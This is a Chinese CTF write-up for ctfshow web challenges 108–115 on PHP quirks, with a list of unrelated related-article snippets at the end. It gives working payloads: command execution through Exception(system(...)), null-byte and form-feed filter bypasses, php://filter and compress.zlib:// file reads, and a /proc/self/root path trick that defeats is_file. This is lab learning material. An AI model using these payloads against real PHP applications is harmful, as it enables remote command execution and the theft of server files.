ctfshow web入门 php特性 web108--web115

news2024/11/28 3:38:19

web108

在这里插入图片描述在这里插入图片描述ereg函数相当于而preg_match()函数
ereg函数的漏洞:00截断。%00截断及遇到%00则默认为字符串的结束
strrev函数就是把字符串倒过来

就是说intval处理倒过来的传参c==0x36d877

在这里插入图片描述?c=a%00778
在这里插入图片描述

web109

异常处理类
在这里插入图片描述通过异常处理类Exception(system(‘cmd’))可以运行指定代码,并且能返回运行的结果(如果存在返回)

?v1=Exception&&v2=system('ls')

在这里插入图片描述?v1=Exception&&v2=system('tac f*')
在这里插入图片描述

web110

filesystemiterator 遍历文件类

DirectoryIterator 遍历目录类

getcwd()函数 获取当前工作目录 返回当前工作目录

在这里插入图片描述?v1=Filesystemiterator&v2=getcwd
在这里插入图片描述缺陷是如果flag的文件不在第一位的话,就不能得到这个文件名。而且这个也没法读文件,所以这题的flag文件和之前一样都是.txt。
访问文件在这里插入图片描述

web111

在这里插入图片描述这道题没蒙,看了大佬的题解太详细了我写的也会很详细

PHP中,$a 本身表示一个变量名,而 &$a 并不是表示“a的位置”,而是表示对 $a 变量的引用。
在这里可以认为是地址

getflag函数

eval("$$v1 = &$$v2;");
//将v2的地址传给v1
var_dump($$v1); 
//打印v1 

v1中必须有ctfshow字符

var_dump会打印内容,但是并不知道flag在哪个文件于是使用PHP的超全局变量$GLOBALS

然后构造payload

?v1=ctfshow&v2=GLOBALS

在这里插入图片描述

web102

在这里插入图片描述is_file检查file是不是文件
这里过滤了很多php伪协议的东西但是最常用的filter还可以用

file协议不能绕过is_file的判断。
http协议需要公网ip。
glob协议返回的是一个数组。highlight_file不能对数组进行高亮,所以本题不能用。
?file=php://filter/resource=flag.php

在这里插入图片描述

web113

在这里插入图片描述filter过滤之后,可以用压缩流
?file=compress.zlib://flag.php在这里插入图片描述还有一种方法是目录溢出让is_file测不出file是文件

/proc/self:不同的进程访问该目录时获得的信息是不同的,内容等价于/proc/本进程pid//proc/self/root/是指向/的符号链接,就是根目录。
?file=/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/var/www/html/flag.php

也可以

web114

在这里插入图片描述刚才的目录溢出和压缩流用不了了,但是你看filter还有哈哈哈哈

?file=php://filter/resource=flag.php

在这里插入图片描述

web115

在这里插入图片描述

filter函数将0x,0,  .  ,e,+都过滤了
然后num还要满足
is_numeric($num) and $num!=='36' and trim($num)!=='36' and filter($num)=='36' 

trim函数主要功能是从给定的字符串两端(即开头和结尾)去除指定的一系列字符

is_numeric可以在数字前面加**空格**绕过($num!=='36'这个也可以绕过)filter也可以绕过了
%0c(换页)绕过trim函数
?num=%0c36

在这里插入图片描述

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/1577915.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

DFS-0与异或问题,有奖问答,飞机降落

代码和解析 #include<bits/stdc.h> using namespace std; int a[5][5]{{1,0,1,0,1}}; //记录图中圆圈内的值&#xff0c;并初始化第1行 int gate[11]; //记录10个逻辑门的一种排列 int ans; //答案 int logic(int x, int y, int op){…

3D引擎八叉树构建算法实现

最近&#xff0c;我一直在努力研究我的3D引擎Storm3D。 我花费大量时间的功能之一是开发一种通用且高效的八叉树数据结构&#xff0c;它将用于从碰撞检测到基于体素的渲染等多种用途。 在这里我将介绍构建八叉树的基本算法以及你可能遇到的一些障碍。 NSDT工具推荐&#xff1a;…

实习该选择c++后台开发(写业务逻辑)还是音视频开发(写sdk)?

后台开发:更多是理解需求、分析问题、解决bug等能力、对于逻辑培养有很大的帮助。可以进行软件开发、网络开发、游戏开发、以及之后可能的物联网相关开发。在开始前我有一些资料&#xff0c;是我根据网友给的问题精心整理了一份「音视频开发的资料从专业入门到高级教程」&#…

光伏电站投资与收益能成正比吗?

光伏电站作为绿色能源的代表&#xff0c;近年来在全球范围内得到了广泛的关注和应用。然而&#xff0c;光伏电站的投资与收益是否能成正比&#xff0c;始终是投资者和市场关注的焦点。本文将就此问题进行深入探讨。 首先&#xff0c;我们必须明确光伏电站的投资与收益并非简单的…

黑马Seata入门到实战教程(学习笔记)

Seata CAP理论 BASE理论 XA AT TCC sage模式 缺点&#xff1a;数据隔离性安全问题 四种模式对比

破晓数据新纪元:隐语隐私计算,携手共创安全智能的未来生态

1.业务背景&#xff1a;安全核对产生的土壤 隐语隐私计算在安全核对业务背景下的应用&#xff0c;主要聚焦于解决企业在数据交换和分析过程中面临的隐私保护问题。 在许多行业中&#xff0c;特别是在金融、医疗、政务等领域&#xff0c;数据的安全核对至关重要&#xff0c;例如…

数据结构系列-队列的结构和队列的实现

&#x1f308;个人主页&#xff1a;羽晨同学 &#x1f4ab;个人格言:“成为自己未来的主人~” 队列 队列的概念及结构 队列&#xff1a;只允许在一端进行插入数据操作&#xff0c;在另一端进行删除删除数据操作的特殊线性表&#xff0c;队列具有先进先出FIFO&#xff0c;…

Windows远程执行

Windows远程执行 前言 1、在办公环境中&#xff0c;利用系统本身的远程服务进行远程代码执行甚至内网穿透横向移动的安全事件是非常可怕的&#xff0c;因此系统本身的一些远程服务在没有必要的情况下建议关闭&#xff0c;防止意外发生&#xff1b; 2、作为安全人员&#xff0…

C++修炼之路之模板与STL简介

接下来的日子会顺顺利利&#xff0c;万事胜意&#xff0c;生活明朗-----------林辞忧 前言&#xff1a; 在比如写一个交换函数时&#xff0c;由于交换数据的类型不同&#xff0c;可能要写出很多个交换函数&#xff0c;在c可以使用函数重载来实现&#xff0c;但如果数据类型…

一文了解重塑代币发行方式的创新平台 — ZAP

代币的发行方式对加密市场有着重要的影响&#xff0c;它直接影响着项目的社区建设、流动性、价格稳定性以及投资者的参与度&#xff0c;未来预期等&#xff01;合适的发行方式可以吸引更多的投资者和用户参与&#xff0c;提升项目的社区建设和价值实现。不当的发行方式和分配&a…

JSBridge原理 - 前端H5与客户端Native交互

1. 概述&#xff1a; 在混合应用开发中&#xff0c;一种常见且成熟的技术方案是将原生应用与 WebView 结合&#xff0c;使得复杂的业务逻辑可以通过网页技术实现。实现这种类型的混合应用时&#xff0c;就需要解决H5与Native之间的双向通信。JSBridge 是一种在混合应用中实现 …

字母大小写转换(C语言)

一、运行结果&#xff1b; 二、源代码&#xff1b; # define _CRT_SECURE_NO_WARNINGS # include <stdio.h>int main() {//初始化变量值&#xff1b;char c1 A;char c2 0;//实现大小写转换&#xff1b;c2 c1 32;//输出结果&#xff1b;printf("c2的编码是&…

智慧农场物联网系统:重塑农业的未来

随着科技的进步&#xff0c;物联网技术正在逐渐改变我们的生活。在农业领域&#xff0c;物联网系统也正在发挥着越来越重要的作用&#xff0c;为智慧农场的发展提供了新的可能。本文将深入探讨智慧农场物联网系统的优势、应用场景、技术实现以及未来发展趋势。 一、智慧农场物…

2024年第七届信息管理与管理科学国际会议(IMMS 2024)即将召开!

2024年第七届信息管理与管理科学国际会议&#xff08;IMMS 2024&#xff09;将于2024年8月23-25日在中国北京举行。数字化时代&#xff0c;我们面临着诸多挑战&#xff0c;如信息安全问题、数据治理难题、管理创新需求等。IMMS 2024的召开&#xff0c;旨在让全球信息管理与管理…

express接口请求的几种方式分析总结

导语 在用express做接口开发的时候&#xff0c;我们要处理post,get,put,delete等请求&#xff0c;以及jsonp的方式&#xff0c;这篇文章记录下结合ajax&#xff0c;实现处理这些请求方式的过程 实现过程 上代码&#xff0c;主要演示post,get及jsonp的请求 <!DOCTYPE htm…

引脚数量最少的单片机

引脚数量最少的单片机 2款SOT23-6封装单片机介绍 参考价格 PMS150C-U06 整盘单价&#xff1a;0.19688&#xff0c;该芯片为中国台湾品牌PADAUK(应广) SQ013L-SOT23-6-TR 整盘单价&#xff1a;0.27876&#xff0c;该芯片为国产&#xff1a;holychip(芯圣电子) 上述价格为2024…

弹幕功能1

今天看pure-admin的时候发现有个弹幕功能 GitHub - hellodigua/vue-danmaku: 基于 Vue 的弹幕交互组件 | A danmaku component for Vue

MySQL典型示例

目录 1.使用环境 2.设计表 3.创建表 4.准备数据 5.查询 1.使用环境 数据库&#xff1a;MySQL 8.0.30 客户端&#xff1a;Navicat 15.0.12 2.设计表 假设我们已经建好了一个名为test的数据库。我们添加如下几个表&#xff1a;教师、课程、学生、班级、成绩。实体联系图设…

GESP Python编程八级认证真题 2024年3月

Python 八级 2024 年 03 月 1 单选题&#xff08;每题 2 分&#xff0c;共 30 分&#xff09; 第 1 题 下列代码中&#xff0c;用到的算法是什么算法&#xff0c;去掉存储的空间&#xff0c;算法本身用到的空间复杂度是多少&#xff08; &#xff09; A. 二分法 &#xff0c; O…

无源定位之TDOA定位

一、基本原理 时差定位系统由一个中心站和两个以上的辅站组成&#xff0c;定位原理如下图&#xff08;a&#xff09;所示。主站以及辅站的位置均已知&#xff0c;并且接收辐射源信号&#xff0c;测出雷达发射的脉冲信号到达A,C两个基站之间的时间差&#xff0c;如图&#xff0…